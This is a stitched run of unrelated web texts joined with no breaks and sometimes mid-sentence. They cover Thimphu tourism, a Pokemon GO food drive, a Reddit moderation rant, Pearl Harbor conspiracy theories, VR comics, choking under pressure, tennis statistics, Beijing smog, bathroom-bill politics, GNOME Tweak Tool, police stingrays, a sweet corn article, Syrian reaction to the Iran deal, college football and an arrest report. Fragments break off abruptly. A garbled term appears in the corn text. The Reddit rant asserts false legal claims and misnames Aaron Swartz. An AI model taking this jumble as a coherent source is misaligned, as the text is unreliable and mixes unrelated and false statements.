Go get ’em, tiger!The Kingdom’s capital city is home to approximately 100,000 inhabitants including the Royal family. This bustling little city is the main centre of commerce, religion and government in the country. The juxtaposition of ancient tradition and modernity make Thimphu the ideal location for visitors to break away from their tour itinerary to immerse themselves in the contemporary Bhutanese lifestyle.
Thimphu is the most modern city in Bhutan with an abundance of restaurants, internet cafes, nightclubs and shopping centres. However, it still retains its’ cultural identity and values amidst the signs of modernization. Thimphu is one of the few towns in Bhutan that have been equipped with ATM banking facilities and is a good place to stock up on some currency.
There are several attractions in Thimphu such as the National Post Office, the Clock Tower Square, the Motithang Takin Preserve, Tango and Chari Monasteries, Buddha Dordenma, National Memorial Chorten, Centenary Farmer's Market, Semtokha Dzong to name a few. These form the most important tourist attractions in the capital city.
The culture of Bhutan is fully reflected in Thimphu in respect of religion, customs, national dress code, the monastic practices of the monasteries, music, dance, literature and the media. Tshechu is an important festival where mask dances, popularly known as Chams, are performed in the courtyards of the Tashichho Dzong in Thimphu. It is a four-day festival held every year during autumn (September/October), on dates corresponding to the Bhutanese calendar. One of the most curious features of Thimphu is that it is the only capital city in the world that does not use traffic lights. Instead, a few major intersections have policemen standing in elaborately decorated booths (small pavilions), directing traffic with exaggerated hand motions.As catering manager Kristina Viator was leaving Tempe Center for the Arts a few Saturday nights ago she noticed the crowds at Tempe Town Lake. She realized people were there playing Pokemon GO (Phoenix New Times recently reported Tempe Beach Park as one of the best places to play Pokemon GO). It occurred to her that some good could come from the popular game if she simply asked people to bring a can of food as they hunted around the lake. Viator intercepted a few of the players and they confirmed it would be easy to show up with a can of food and that was all she needed to hear.
Viator contacted St. Mary’s Food Bank and discovered that they are low on canned fruit and cereal for emergency food boxes. The Tempe Center for the Arts agreed happily to be the designated drop off point. Viator’s employer Fabulous Food Fine Catering and Events then provided her with the resources for her initial drive that will be held August 6th.
So here is where you come in! You can bring these much needed items to the Tempe Center for the Arts on August 6th from 4-10 pm! All donations will go to St. Mary’s Food Bank to be used in their emergency food boxes.
Tempe Center for the Arts is located at: 700 W Rio Salado Pkwy, Tempe, AZ 85281
About St. Mary’s Food Bank Alliance
Founded in 1967, St. Mary’s is the world’s first food bank. Today, St. Mary’s Food Bank is one of the largest food banks in the United States, and proud of the impact it has had on Arizona—and the world.
About Tempe Center for the Arts
The Tempe Center for the Arts (TCA) is one of the finest venues in Arizona – a jewel in the crown of a city known for its support of the arts. Plenty of parking is available to serve the center, which is just an.83-mile walk from the Mill Avenue/Third Street Metro Light Rail stop. The TCA is located on the southwest end of Tempe Town Lake.
About Fabulous Food Fine Catering and Events
Fabulous Food Catering and Events is a custom, high-end catering company offering distinctive event planning services. Fabulous Food is owned and operated by husband and wife, Alan ‘Skip’ and Chantal Hause. The company has been producing one-of-a-kind events with exquisite artisan cuisine since 1996.The first rule of running a user interactive website is:
Don't moderate the users.
It seems that Steve Huffman has violated this rule, when he edited posts made by Donald Trump supporters. He has admitted to this moderation on his Reddit profile. This mistake in management of his website is a really big deal. By moderating Reddit. He now faces liability for any post on Reddit. There are millions of posts, and it is truly impossible to moderate Reddit, but now he is liable for that. His previous partner the late Eric Swartz. Stood for free speech.I guess, Steve Huffman has a different view on free speech. What was he thinking? His site has been the 'Go To' website for people looking for the scoop, and first news all over the world. It encourages original posting of the original source. Now, it is just another shill site, with a giant liability. What if the FBI asked for information on a user, and he |
s and full-on lies are getting new attention as they appear alongside real news and information on social networks — but that's nothing new. The official investigations into the Japanese attack started in the 1940s, and even now, each time new documents become declassified, a headline pops up asking whether Roosevelt allowed it.
No, says Roosevelt biographer Jean Edward Smith.
"He was totally caught off guard by it," Smith says. "The record is clear. There was no evidence of the Japanese moving toward Pearl Harbor that was picked up in Washington."
That's not to say that the White House might not have expected some kind of attack from Japan — possibly against U.S. bases in the Philippines. Roosevelt had been tightening the screws on Tokyo to hinder the Japanese conquest of China, "instituting a full embargo on exports to Japan, freezing Japanese assets in U.S. banks and sending supplies into China along the Burma Road," according to the State Department.
Citino says Roosevelt believed those economic restrictions could get Japan to reduce its ambitions in Asia.
"Sanctions are better than war — if you have time to let them apply, and if there's somebody sensible on the other side." But Roosevelt "was wrong in that assessment," Citino says, and the Japanese were mistaken in thinking they could remove the threat from the U.S. Navy to their operations in the Western Pacific.
Enlarge this image toggle caption Bettmann Archive/Getty Images Bettmann Archive/Getty Images
"Pearl Harbor [brought about] unintended consequences for both sides," he says.
The U.S. didn't think the Japanese would retaliate militarily. And the use of then-new naval weapons such as aircraft carriers was still being explored. No one had sailed a fleet of carriers 4,000 miles across an ocean to raid an enemy's fleet while it sat at anchor.
For their part, the Japanese did not think the U.S. would have the stomach to rebuild its Navy and then launch a bloody fight, island by island, across the Pacific.
These kinds of bad assumptions and poor intelligence start wars, Citino says — an understanding that seems so obvious today even as the conspiracy theories outlive the eyewitnesses to the battle.Credit: Madefire
Comic books are coming to virtual reality, as motion comics publisher Madefire has launched an app for the newly-released Samsung Gear VR from Oculus. Expanding on the company's proprietary Motion Books platform, these comic books have motion, sound, and now 3-D, 360-degree environments. The Motion Books available at launch are IDW's Revolution, Framestore's Somnia: Origins, DC's Injustice: Year One, and Madefire's own Mono: The Old Curiosity Shop.
Check out this preview video:
“Comics are such a powerful storytelling format," said Madefire CEO/Co-Founder Ben Wolstenholme. "People learn to read through comics; people are transported to other worlds through comics. Comics are words-and-pictures, perfect for storytelling in virtual reality."
This coincides with Madefire's announcement that it had received $6.5m in Series B investment funding from actor Kevin Spacey, musician Drake, and strategic investors True Ventures, Big Loud Capital, Anthem Ventures, and Framestore Ventures.Athletes know they should just do their thing on the 18th hole, or during the penalty shootout, or when they're taking a 3-point shot in the last moments of the game. But when that shot could mean winning or losing, it's easy to choke. A new article published in Current Directions in Psychological Science, a journal of the Association for Psychological Science, looks at why paying too much attention to what you're doing can ruin performance.
"We think when you're under pressure, that your attention goes inward naturally. Suddenly it means so much, you want to make sure everything's working properly," says Rob Gray, of the University of Birmingham, the author of the new article. And that is exactly when things go wrong. Something about paying attention to what you're doing makes it not work right.
Of course, athletes know that they should just relax and do their usual thing, but it's not very helpful to tell someone to just relax. The goal for psychological scientists, Gray says, is to figure out what actually happens when someone starts paying too much attention to their body. "Focusing on what you're doing makes you mess up, but why? How do your movements change? How can we focus on correcting those issues instead of telling you to stop trying so hard?"
Gray has found that baseball players that are under pressure have fewer hits because their swing varies more under pressure than at normal times. Other researchers have found that climbers move less fluidly when they're higher up on a wall than when they're near the ground, which suggests that their joints move less freely when they're more anxious.
The research shows that there are particular things that go wrong when someone is under pressure -- changing the angle of the club head when putting or throwing with more force. If those things can be identified, a coach could work on the particular problems.
One way to do it might be with analogies, Gray says. For example, a golfer who grips the club too tight when she's nervous might benefit from an instruction like "imagine you have an open tube of toothpaste between your hands and the contents must not be pushed out." This would both address the problem and get her attention away from how well she's doing.Tennis Note #29 Set Scores: Stories Untold Charles Allen Blocked Unblock Follow Following Feb 12, 2016 Some sets might be closer than you think… In “How to Chart a Match…” I made the claim that “A 6-0 set can actually last longer than a 6-4 set, with more points played and longer rallies.” The statement is easy to defend because the math is straightforward: a 6–0 set with every game reaching deuce is at minimum 48 points; a 6–4 set with all “love” games is 40 points. I thought it would be interesting to explore the assertion by diving into data made available by the Match Charting Project for ~1,800 (and counting) professional matches. But first, a brief review of the theoretical case…
Game Trees. Left: Love Games; Right: Many Paths to Deuce
In the images above, Game Trees are used to depict point progressions. In a “Love game’ there are only two four-point paths. In games that reach deuce, no matter the path, there will always be a minimum of eight points. Here is a visual comparison of a theoretical 6–4 set composed of love games totaling 40 points next to a theoretical 6–0 set composed of deuce games with a total of 48 points. In the accompanying Game Tree the point progressions for both sets are depicted:
Theoretical Point Progressions: Left: Game Tree; Right: Points-to-Set. 40 points vs. 48 points.
A 6–0 set does not need to reach deuce in every game to stretch beyond the theoretical 6–4 set with only 40 points. Here is a “Game Fish” depiction of game between Williams and Azarenka in Cincinnati in 2013: Game Fish: Azarenka d. Williams (2013 Cincinnati). 12 deuces. 29 points. With that game in a 6–0 set, only 11 more points (less than three games) need to be played to stretch beyond the theoretical minimum for a 6–4 set; that’s well below the 20 additional points that will be played. The theoretical case I am defending is an eight point difference, but how realistic is it? Of the 4783 sets currently in the Match Charting Project (MCP) data, here is a graphic of the range of points played per set: Depicts total points-per-set for 4783 sets. Click to be redirected to interactive version. It is immediately obvious from the whiskers on the box plots that indeed the longest 6–0 set has more total points than the shortest 6–4 set. But let’s drill down a bit more and make a visual comparison between these sets… (There is an interactive version of this chart at TennisVisuals.com, where it is possible to see the point distributions for specific players as well.) Gasquet d. Duckworth (2014 Wimbledon) Nadal d. Sousa (2014 Rio de Janiero) The shortest 6–0 set in the MCP data is currently 28 points, for an average of approximately 4.7 points-per-game, while the longest is 55 points (9.5 ppg). The shortest 6–4 set in the MCP data is currently 45 points, for an average of approximately 4.5 points-per-game, while the longest is 98 points (9.8 ppg).
Djokovic d. Dimitrov (2014 Wimbledon), Hernych d. Kamke (2014 Wimbledon)BEIJING (REUTERS) - The Chinese capital was on the second-highest orange smog alert in the depth of winter on Tuesday (Jan 3) as city officials said the air quality was improving overall, citing data for the whole of last year.
Over the new year holiday, hundreds of flights were cancelled and highways closed across northern China as average concentrations of small breathable particles known as PM2.5 soared above 500 micrograms per cubic metre in Beijing and surrounding regions.
Pollution alerts are common in northern China, especially during bitterly cold winters when energy demand, much of it met by coal, soars.
But the Beijing Municipal Environmental Protection Bureau told state media that PM2.5 concentrations dropped 9.9 per cent on the year to an average of 73 micrograms per cubic metre in the Chinese capital in 2016.
The total number of "blue sky days" reached 198 in 2016, up 12 from the previous year. However, the average PM2.5 measure still exceeded national air quality standards by 109 per cent, the bureau said.
Related Story Smoking out the culprits behind smog in Beijing
Despite a brief respite on Monday, smog returned to the Chinese capital on Tuesday, with PM2.5 readings again at "hazardous" levels. The city environment bureau said the orange alert was expected to last until Wednesday.
China is in the third year of a "war on pollution" aimed at reversing the damage done to its skies, soil and water after decades of untrammelled economic growth.
It has created emergency response systems that restrict traffic and shut down factories and construction sites during periods of heavy smog, and it has also vowed to punish local officials and enterprises that break rules.
During a bout of smog in December, inspectors identified 21 enterprises that had violated regulations by failing to close operations on time, and 10 more inspection teams were dispatched to cities across the region over the new year.
But government officials have expressed frustration that persistently heavy winter pollution, brought about by unfavourable weather and the use of coal-fired urban heating systems, has overshadowed the genuine progress China has made to reduce smog.Kaeley Triller in a scene from “The Unintended Victims of Bathroom Bills and Locker Room Policies.” Alliance Defending Freedom
Last week, the Alliance Defending Freedom, a conservative Christian legal group at the forefront of the war over trans people and bathrooms, released a video titled “The Unintended Victims of Bathroom Bills and Locker Room Policies.” It features several female victims of rape and sexual abuse who say they are deeply shaken by the idea of sharing bathrooms or changing areas with people who have penises. “This has such devastating implications for people like me,” says Kaeley Triller, a former communications director at the YMCA who says she was fired after objecting to the organization’s trans-inclusive locker room policies. “The presence of a male of any variety, whether he’s somebody who identifies as trans or not, whether he has deviant motives or not, that’s irrelevant to the reality that for survivors of sexual trauma, to just turn around and be exposed to that is an instant trigger.”
The ADF’s video was the latest example of the right’s attempts to marshal the language of campus-style social justice politics, with its emphasis on victimization, trauma, and triggers. For example, conservatives have long cast doubt on statistics showing that as many as a fifth of women experience sexual assault in their lifetimes. But now groups like the ADF are using that same embattled figure to argue that vulnerable women must be protected from sharing bathrooms and locker rooms with trans women. The ADF’s website reads: “Advocacy groups report that, in the United States, nearly 1 in 5 women and nearly 1 in 8 high school girls have been sexually assaulted.* For many of them, the mere presence of a biological man in a women’s restroom is a trigger that causes severe emotional and mental harm—regardless of that man’s intentions.” The asterisk is there to distance the ADF from the statistic even as the group exploits it; a note at the bottom of the page says that the ADF “cannot vouch for [its] validity.”
Similarly, right-wing websites that usually sneer at the idea of rape culture earnestly invoke it when warning about bathroom predators. Last year, a piece in the Federalist asked, “Are dubious claims about ‘rape culture’ an attempt to create a scapegoat for the emotional dark side of promiscuity?” Yet when it comes to bathroom bills, the Federalist takes rape culture as seriously as an Oberlin gender studies major. “We women don’t need men telling us how to live or when and where our safety should be a priority,” said a recent Federalist piece about bathrooms. The piece aimed biting sarcasm toward men who dismiss anxiety about bathroom privacy: “Because concerned women are always just hysterical, aren’t they? Like rape victims—hysterical broads with no self-control.”
The “Unintended Victims” video even features a black trans woman, Jaqueline Sephora Andrews; before her death in April, Andrews was part of a small circle of so-called gender-critical trans women allied with radical feminists who are opposed to the presence of trans women in female-only spaces. Her presence in the video is further evidence of the anti-feminist ADF’s eagerness to borrow feminist rhetoric. “In a time when so many sexual assaults go unreported, we’re telling them that their boundaries don’t matter,” Andrews says of cisgender women who don’t want to share bathrooms with trans women. “When they say no, people won’t listen.”
Obviously, there’s bad faith at work here—if not among the sexual assault victims themselves, then certainly among the right-wing propagandists who solemnly invoke feminist ideas that they usually find risible. It’s a kind of high-level trolling meant to highlight contradictions in mainstream feminist discourse, not to build support for rape victims.
Those contradictions, however, are real. There’s no coherent ideology in which traumatized students have the right to be shielded from material that upsets them—be it Ovid, 9½ Weeks, or the sentiments of Laura Kipnis—but not from undressing in the presence of people with different genitalia. If we’ve decided that people have the right not to feel unsafe—as opposed to the right not to be unsafe—then what’s the standard for refusing that right to conservative sexual abuse victims? Is it simply that we don’t believe them when they describe the way their trauma manifests? Aren’t we supposed to believe victims no matter what?
Some radical feminists believe that these contradictions should make people on the left reconsider their commitment to trans rights. Certainly, creepy men can and probably will take advantage of trans-friendly bathroom laws to try to prey on women. Shortly after Washington state allowed trans people to use bathrooms and changing rooms that correspond with their gender identity, a man barged into the women’s locker room at a local pool, announcing, “The law has changed, and I have the right to be here.” (According to local news reports, it was unclear if he was protesting the law or just exploiting it.) These laws create a tiny but real risk for women. In the absence of such laws, however, trans people risk their safety every single time they use the bathroom. They are in more danger without these laws than cisgender women are with them.
The ease with which conservatives are able to appropriate social justice arguments should, however, make some on the left reconsider the politics of personal fragility. If claiming to feel triggered operates as a political trump card, conservatives are going to play it. Indeed, it is conservatives who have often championed victims’ rights, arguing that the rights of accused criminals matter less than the safety of the broader public. Conservatives, not liberals, have traditionally pressed for the right of people not to be confronted with ideas; images; or, yes, bodies that offend them. It’s not surprising that they’ve found it easy to adapt arguments premised on extreme female vulnerability to their own purposes. Those ideas always had a conservative streak to begin with.
So far, progressives have mostly responded to conservative complaints about opening up bathrooms to trans people by loudly insisting that trans bathroom predators are a myth. This elides the fact that we have no working definition of what differentiates a trans woman from a man claiming to be a woman for iniquitous ends. There are, in fact, instances of men who’ve donned drag to spy on women in bathrooms or assault them in female-only spaces such as homeless shelters. There may well be more. Those who want to defend laws on gender-inclusive bathroom access should have an argument besides incredulous denial.
Rather than engaging in a victimology arms race, they might ground their arguments in the language of civil liberties. Civil libertarians know that we don’t punish people as a group for the actions of individuals. They know that in a diverse, fractious, free country, sometimes other people are going to exercise their rights in a way that upsets or even scares you. And they know that protecting civil liberties sometimes means forgoing other kinds of protection. It would be easier for people on the left to make that argument now, though, if they hadn’t spent the past few years arguing the opposite.A new version of the GNOME Tweak Tool is available for testing in Ubuntu 17.10 — and it includes some nifty new options!
You can read a full surmise of the changes in the GNOME Tweak Tool 3.25.2 blog post announcement, but the key tweaks and changes to the tool you’ll want to know about are:
‘About’ dialog now shows GTK+ version number
Option to disable trackpad while typing
Option to display battery percentage in top bar
Set location of window buttons
New ‘Extensions’ page layout
Tweaks to ‘Desktop’ pane
The layout of the GNOME Shell Extensions page has been tweaked to conform to the layout of other panes, i.e. with toggle switches on the right-hand side. This looks much neater, though the app no longer lets you install or remove extensions. To do that you’ll need to use GNOME Software.
We’ve shown you how to move window controls in GNOME Shell before — and it’s fair to say it’s a bit of a faff! So i’m please to see that GNOME Tweak Tool now has an option that lets you decide which side window button appear on, either left or right.
It remains to be seen which side Ubuntu will choose to place window controls on. It was a question asked as part of the recent GNOME desktop user survey. Whichever side Ubuntu opt for having a switch to swap the side readily accessible in an app like this means it won’t be such a big deal.
Install GNOME Tweak Tool 3.25.2
All these changes listed in this post will go on to ship as part of GNOME Tweak Tool 3.26, which will be formally releases alongside GNOME 3.26 in September.
If you’re running the Ubuntu 17.10 daily builds you can install this development snapshot right now. Just head to Ubuntu Software, search for ‘GNOME Tweak Tool’ and click the ‘install button to, well, you know!
Alternatively, tap this button:
Install GNOME Tweak Tool from Ubuntu Software
If you’re running Ubuntu 17.04 with GNOME you can also upgrade to this version of GNOME Tweak Tool by downloading the Artful package and installing it via dpkg (or similar). This method isn’t supported and you may experience bugs.
Download GNOME Tweak Tool 3.25.2 (Development)
Should It Be a Default App?
On a side note, do you think GNOME Tweak Tool should be installed by default on Ubuntu 17.10?
I appreciate that it’s generally considered an ‘advanced’ app, and not something Joe User should be poking around in. But honestly, some of the settings in this app are ones we’ve all come to expect access to. And with the Ubuntu 17.10 desktop likely to ship with GNOME Extensions pre-installed, this app would provide users with an easy way to disable or change settings (like displaying touchpad while typing).
If not, can tell you know now that installing GNOME Tweak Tool will be listed in our ‘things to do after installing Ubuntu 17.10’ article!SAN FRANCISCO, March 14 (UPI) -- The American Civil Liberties Union of Northern California is objecting to police use of a device allowing officers to tap into cellphone communications.
The ACLU issued a release saying the device, known as a "stingray," fools wireless devices into seeing it as a cell tower, allowing the stingray to spy on communications, KNTV, San Francisco, reported Friday.
The release said the devices are used in California by the San Francisco Police Department, the San Jose Police Department, the Fremont Police Department, the Oakland Police Department and the Alameda County District Attorney's Office.
"Stingrays create serious privacy concerns because they collect information about the devices and whereabouts of innocent third parties, and not just the target of an investigation," the ACLU said.
The Oakland Police Department released a statement confirming officers have used the stingray device "to assist us in a variety of investigative strategies."
An investigative report from the Oakland police revealed the department made 21 arrests in 2007 stemming from use of the stingray or electronic surveillance.
The ACLU said it is seeking more information about how the stingray is used in investigations and whether the process involves obtaining warrants.Version 3.0 released July 2018
Make sure to read the deployment guide. Please submit bug reports on our Sub-Reddit
Deployment Guide PDF – Read this first
Each of these files is approximately 2GB in size
Nested AutoLab on Workstation or Fusion
Nested AutoLab on ESXi stand alone or vSphere with DRS
Nested AutoLab on vSphere with HA but without DRS
This lab builder kit is designed to produce a nested vSphere 6.7 to 4.1 lab environment with the minimum effort. Prebuilt Open Source VMs and the shell of other VMs are provided along with automation for the installation of operating systems and applications into these VMs. The lab build was originally created to aid study towards VCP5 certification however it has many other possible uses.
Hardware Requirements
The hardware requirements for the lab are moderate. Hopefully, you won’t need to buy a new computer, although you may need to do some upgrades. If you can dedicate a computer to the role then the lab runs extremely well under ESXi.
Hardware Minimum Great Choice Used to build the lab CPU Dual Core, 64Bit Quad Core, i7 i7 Quad Core RAM 24GB How much can you afford? 32GB Hard Disk 120GB free space 200GB SSD free space 480 GB SSD Operating System 64 Bit ESXi 6.7 Windows 7 64Bit Virtualization Software VMware Player (untested) ESXi 6.7 VMware Workstation 10
Additional software
The AutoLab kit contains open source software and so can be freely redistributed. The full lab requires licensed software components some of which are quite large, vSphere and Windows installers. Download the deployment guide for directions to download the other software.Sweet corn Husked sweet corn Species Zea mays convar. saccharata var. rugosa Origin United States
Loose kernels of sweet corn
Sweet corn (Zea mays convar. saccharata var. rugosa;[1] also called sweetcorn, sugar corn and pole corn) is a cereal with a high sugar content. Sweet corn is the result of a naturally occurring recessive mutation in the genes which control conversion of sugar to starch inside the ENO of the corn kernel. Unlike field corn varieties, which are harvested when the kernels are dry and mature (dent stage), sweet corn is picked when immature (milk stage) and prepared and eaten as a vegetable, rather than a grain. Since the process of maturation involves converting sugar to starch, sweet corn stores poorly and must be eaten fresh, canned, or frozen, before the kernels become tough and starchy.
It is one of the six major types of corn, the others being dent corn, flint corn, pod corn, popcorn, and flour corn.[2]
History [ edit ]
Sweet corn occurs as a spontaneous mutation in field corn and was grown by several Native American tribes. The Iroquois gave the first recorded sweet corn (called 'Papoon') to European settlers in 1779.[3] It soon became a popular food in southern and central regions of the United States.
Young sweet corn
The same rows of corn 41 days later at maturity.
Open pollinated cultivars of white sweet corn started to become widely available in the United States in the 19th century. Two of the most enduring cultivars, still available today, are 'Country Gentleman' (a Shoepeg corn with small kernels in irregular rows) and 'Stowell's Evergreen'.
Sweet corn production in the 20th century was influenced by the following key developments:
hybridization allowed for more uniform maturity, improved quality and disease resistance In 1933 'Golden Cross Bantam' was released. It is significant for being the first successful single-cross hybrid and the first specifically developed for disease resistance (Stewart's wilt in this case). [4]
identification of the separate gene mutations responsible for sweetness in corn and the ability to breed cultivars based on these characteristics: su (normal sugary) se (sugary enhanced, originally called Everlasting Heritage) sh2 (shrunken-2) [5]
There are currently hundreds of cultivars, with more constantly being developed.
Anatomy [ edit ]
The fruit of the sweet corn plant is the corn kernel, a type of fruit called a caryopsis. The ear is a collection of kernels on the cob. Because corn is a monocot, there is always an even number of rows of kernels.[further explanation needed] The ear is covered by tightly wrapped leaves called the husk. Silk is the name for the pistillate flowers, which emerge from the husk. The husk and silk are removed by hand, before boiling but not necessarily before roasting, in a process called husking or shucking.
Consumption [ edit ]
In most of Latin America, sweet corn is traditionally eaten with beans; each plant is deficient in an essential amino acid that happens to be abundant in the other, so together sweet corn and beans form a protein-complete meal.[6] In Brazil, sweet corn cut off from the cobs is generally eaten with peas (where this combination, given the practicality of steamed canned grains in an urban diet, is a frequent addition to diverse meals such as salads, stews, seasoned white rice, risottos, soups, pasta, and whole sausage hot dogs).
In Malaysia, there's a variety unique to the region of Cameron highlands named "pearl corn". The kernels are glossy white resembling pearls and can be eaten raw of the cob but often boiled in water and salt.[citation needed]
Similarly, sweet corn in Indonesia is traditionally ground or soaked with milk, which makes available the B vitamin niacin in the corn, the absence of which would otherwise lead to pellagra; in Brazil, a combination of ground sweet corn and milk is also the basis of various well-known dishes, such as pamonha and the pudding-like dessert curau, while sweet corn eaten directly off the cobs tends to be served with butter.
The kernels are boiled or steamed. In Europe, China, Korea, Japan and India, they are often used as a pizza topping, or in salads. Corn on the cob is a sweet corn cob that has been boiled, steamed, or grilled whole; the kernels are then eaten directly off the cob or cut off. Creamed corn is sweet corn served in a milk or cream sauce. Sweet corn can also be eaten as baby corn.
In the United States, sweet corn is eaten as a steamed vegetable, or on the cob, usually served with butter and salt. It can be found in Tex-Mex cooking in chili, tacos, and salads. When corn is mixed with lima beans it is called succotash. Sweet corn is one of the most popular vegetables in the United States. Fresh, canned and frozen sweet corn rank among the top ten vegetables in value and per capita consumption. Frozen cut corn is exceeded only by frozen potato products while frozen corn on the cob is 4th following peas.[7]
If left to dry on the plant, kernels may be taken off the cob and cooked in oil where, unlike popcorn, they expand to about double the original kernel size and are often called corn nuts. A soup may also be made from the plant, called sweet corn soup.[citation needed]
Health benefits [ edit ]
Overripe sweet corn
Cooking sweet corn increases levels of ferulic acid, which has anti-cancer properties.[8]
Cultivars [ edit ]
Open pollinated (non-hybrid) corn has largely been replaced in the commercial market by sweeter, earlier hybrids, which also have the advantage of maintaining their sweet flavor longer. su cultivars are best when cooked within 30 minutes of harvest. Despite their short storage life, many open pollinated cultivars such as 'Golden Bantam' remain popular for home gardeners and specialty markets, or are marketed as heirloom seeds. Although less sweet, they are often described as more tender and flavorful than hybrids.
Genetics [ edit ]
Early cultivars, including those used by Native Americans, were the result of the mutant su ("sugary") allele.[3] They contain about 5–10% sugar by weight.
Supersweet corn are cultivars of sweet corn which produce higher than normal levels of sugar developed by University of Illinois at Urbana–Champaign professor John Laughnan.[5] He was investigating two specific genes in sweet corn, one of which, the sh2 gene, caused the corn to shrivel when dry. After further investigation Laughnan discovered that the endosperm of sh2 sweet corn kernels store less starch and from 4 to 10 times more sugar than normal su sweet corn. He published his findings in 1953, disclosing the advantages of growing supersweet sweet corn, but many corn breeders lacked enthusiasm for the new supersweet corn. Illinois Foundation Seeds Inc. was the first seed company to release a supersweet corn and it was called 'Illini Xtra Sweet', but widespread use of supersweet hybrids did not occur until the early 1980s. The popularity of supersweet corn rose due to its long shelf life and large sugar content when compared to conventional sweet corn. This has allowed the long-distance shipping of sweet corn and has enabled manufacturers to can sweet corn without adding extra sugar or salt.
Cut white sweet corn
The third gene mutation to be discovered is the se or "sugary enhanced" allele, responsible for so-called "Everlasting Heritage" cultivars, such as 'Kandy Korn'. Cultivars with the se alleles have a longer storage life and contain 12–20% sugar.
All of the alleles responsible for sweet corn are recessive, so it must be isolated from other corn, such as field corn and popcorn, that release pollen at the same time; the endosperm develops from genes from both parents, and heterozygous kernels will be tough and starchy.
Sweet corn
The se and su alleles do not need to be isolated from each other. However supersweet cultivars containing the sh2 allele must be grown in isolation from other cultivars to avoid cross-pollination and resulting starchiness, either in space (various sources quote minimum quarantine distances from 100 to 400 feet or 30 to 120 m) or in time (i.e., the supersweet corn does not pollinate at the same time as other corn in nearby fields).
Modern breeding methods have also introduced cultivars incorporating multiple gene types:
sy (for synergistic ) adds the sh2 gene to some kernels (usually 25%) on the same cob as a se base (either homozygous or heterozygous)
(for ) adds the gene to some kernels (usually 25%) on the same cob as a base (either homozygous or heterozygous) augmented sh2 adds the se and su gene to a sh2 parent
Often seed producers of the sy and augmented sh2 types will use brand names or trademarks to distinguish these cultivars instead of mentioning the genetics behind them. Generally these brands or trademarks will offer a choice of white, bi-color and yellow cultivars which otherwise have very similar characteristics.
Bt corn [ edit ]
Bt corn is genetically modified to resist certain insects. Commercial growers have access to sweet corn seed bred with this artificial trait. Bt corn and other transgenic varieties are not available to the home grower due to protocols that must be followed in their production.[9]
See also [ edit ]
References [ edit ]Syrian opposition fighters have criticised the Iranian nuclear agreement as enabling the ongoing disintegration of their country and empowering Tehran despite its support for President Bashar al-Assad’s regime.
Opposition fighters said the agreement, which will provide billions of dollars of sanctions relief to the Iranian government, strengthens a widely held belief that the US does not wish to see Assad’s departure. But they said the deal’s impact would not immediately be felt on the ground in Syria given Iran’s already plentiful support for Assad, and vowed to press on with their campaign. “It is the belief of many on the ground that America and Iran are strategic allies, and all the overt signs of animosity are simply hypocrisy,” said Ahmad al-Alwan, a religious official with the Army of Conquest, an alliance of rebel groups in the north of Syria that scored a series of victories against the regime’s army this year.
“Iranian assistance has never been severed from Assad and Iran has been aiding Assad above and below the table before the entire world with the tools to kill the Syrian people,” he added. “The nuclear agreement will not change this equation.”
Signed by western powers along with Russia and China, the historic deal with Iran will limit the country’s nuclear programme and subject it to inspections in exchange for the removal of numerous international sanctions that have battered the Islamic Republic’s economy.
But critics of the deal say Iran is likely to use a portion of its windfall to expand its influence across the Middle East, appearing to have gained from its expansionism in Beirut, Damascus and Baghdad.
“We have a real fear that Iran will use the unfrozen accounts for more shameless intervention in the region and enflaming strife and war, as well as providing more support to the Assad regime to prevent its fall and allow it to continue carrying out terrorist massacres against the Syrian people,” said Mohammed Maktabi, the secretary general of the Syrian National Council, the exiled opposition.
Despite the withering sanctions, Iran has continued to provide billions of dollars-worth of support and weaponry to its allies in recent years. In Lebanon, Hezbollah has emerged as the prime guerrilla movement in the world with an arsenal more powerful than that of many states after a destructive war with Israel in 2006, paying tribute to Iran’s support. The Assad regime has endured a brutal four-year civil war with Iranian support in the form of personnel, arms, cash and fuel.
Meanwhile, the US has declined to intervene in the war except to bomb the terror group Islamic State and the al-Qaida affiliate Jabhat al-Nusra. The US-led campaign against Isis has not prevented Assad’s air force from carrying out thousands of air raids against rebel-held territory, including the use of barrel bombs, a highly inaccurate weapon, to kill thousands of civilians.
The contrast between Iran’s support for Assad and American reluctance to become enmeshed has convinced many rebels that the US sees the survival of Assad, or at least his regime, as a strategic goal that serves its interests as well as the security of Israel, its ally. “We know that if America wanted to remove Assad it would have, but America wants to lengthen the conflict in Syria, to manage it, not to end it,” said Alwan. “Iran is America’s best partner in the region,” said a source close to Jabhat al-Nusra. “The war in Syria will continue, and the solution for them is a political transition while preserving the regime.” The perception of American complicity in Assad’s survival could empower radical groups in Syria, such as Isis, who have long argued that both the west and Iran are conspiring against its people. “A freed-up Iran is [the opposition’s] worst nightmare scenario, whatever actually ends up being the consequence of that,” said Charles Lister, a visiting fellow at the Doha Brookings Center. “Unfortunately, the effect this deal will have on perceptions – and perceptions are so incredibly important here – can only benefit the more isolationist views of those on the more extreme end of the opposition spectrum.”
The deal’s timing is also highly sensitive, coming at a moment when Assad’s army appears fragile, having lost swaths of territory to the opposition in recent months, as well as to Isis in the provinces of Homs and Hassakah, and fighting off fresh offensives in Aleppo and the south.
“Everyone is feeling resentment: why at this decisive time?” said Ibrahim Noureddine, a spokesman for the First Legion, an opposition faction in the south. Many of the opposition groups in the area, save for Jabhat al-Nusra, are seen as moderate and close to western and Gulf states opposed to Assad. “The street and the opposition factions in the south resent this because it is completely against them,” he said. “Iran’s role in resolving the Syria crisis is to leave Syria.”Football Leaps To No. 24 Ranking In Sports Network Top-25 Poll
PHILADELPHIA -- After winning only one game in 2013, the University at Albany football program has turned over a new leaf, opening the 2014 season with three consecutive victories and earning a No. 24 ranking in The Sports Network Top-25 Poll.
UAlbany was last ranked in 2012 when the Great Danes sat at No. 20 in the media poll and No. 18 in the Coaches Poll with a 7-1 overall record, earning the program’s highest Division I rating in history. The Danes entered The Sports Network Top-25 in in Week 8 at No 24, and then topped out at No. 20 the following week before falling out of the ranks.
UAlbany is 3-0 for the first time since 2001 and |
coming and announced she was “at peace,” the special agent said in court papers.
“I am at peace,” she is alleged to have said. “Are you coming at peace?”
A supervising officer approached Robbins with his hands up and asked that Robbins surrender her gun, the special agent said. She did so and was arrested.
Robbins was charged Friday with assaulting a federal officer. She remains jailed pending a Monday hearing at U.S. District Court in Seattle.
